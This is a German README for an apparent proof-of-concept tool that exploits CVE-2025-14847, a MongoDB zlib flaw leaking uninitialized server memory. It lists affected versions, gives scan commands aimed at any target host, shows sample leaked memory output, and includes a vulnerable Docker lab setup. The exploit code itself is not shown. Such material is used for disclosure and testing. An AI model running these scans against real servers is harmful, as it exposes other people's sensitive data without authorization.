
Proof-of-concept Exploit für CVE-2025-14847, eine MongoDB zlib-Dekompressions-Schwachstelle, die nicht initialisierten Serverspeicher durch präparierte BSON-Dokumente preisgibt.
CVE-2025-14847 - Nicht authentifizierter MongoDB-Speicherleck-Exploit
Ein Proof-of-Concept-Exploit für die MongoDB-zlib-Dekompressions-Schwachstelle, die es nicht authentifizierten Angreifern ermöglicht, sensible Serverspeicherdaten preiszugeben.
Ein Fehler in der zlib-Nachrichtendekomprimierung von MongoDB gibt die Größe des reservierten Puffers zurück, anstatt die tatsächliche Länge der dekomprimierten Daten. Dies erlaubt Angreifern, nicht initialisierten Speicher zu lesen, indem sie:
uncompressedSize-Anspruch senden| Version | Betroffen | Behoben |
|---|---|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 |
# Basic scan (offsets 20-8192)
python3 mongobleed.py --host <target>
# Deep scan for more data
python3 mongobleed.py --host <target> --max-offset 50000
# Custom range
python3 mongobleed.py --host <target> --min-offset 100 --max-offset 20000
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Author: Joe Desimone - x.com/dez_
[*] Target: localhost:27017
[*] Scanning offsets 20-50000
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: Recv SyncookiesFailed EmbryonicRsts ...
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[*] Saved to: leaked.bin
Eine Docker-Compose-Datei ist enthalten, um eine anfällige MongoDB-Instanz zu starten:
docker-compose up -d
python3 mongobleed.py
Der Exploit erstellt BSON-Dokumente mit aufgeblähten Längenfeldern. Wenn der Server diese Dokumente analysiert, liest er Feldnamen aus nicht initialisiertem Speicher, bis er auf ein Nullbyte stößt. Jeder Test bei einer anderen Position kann unterschiedliche Speicherbereiche durchsickern lassen.
Durchgesickerte Daten können Folgendes umfassen:
/proc-Daten (meminfo, Netzwerkstatistiken)Joe Desimone - x.com/dez_
Dieses Tool ist nur für autorisierte Sicherheitstests bestimmt. Unbefugter Zugriff auf Computersysteme ist illegal.
| Option | Standard | Beschreibung |
|---|
--host | localhost | Ziel-MongoDB-Host |
--port | 27017 | Ziel-MongoDB-Port |
--min-offset | 20 | Minimale Dokumentlänge zum Testen |
--max-offset | 8192 | Maximale Dokumentlänge zum Testen |
--output | leaked.bin | Ausgabedatei für durchgesickerte Daten |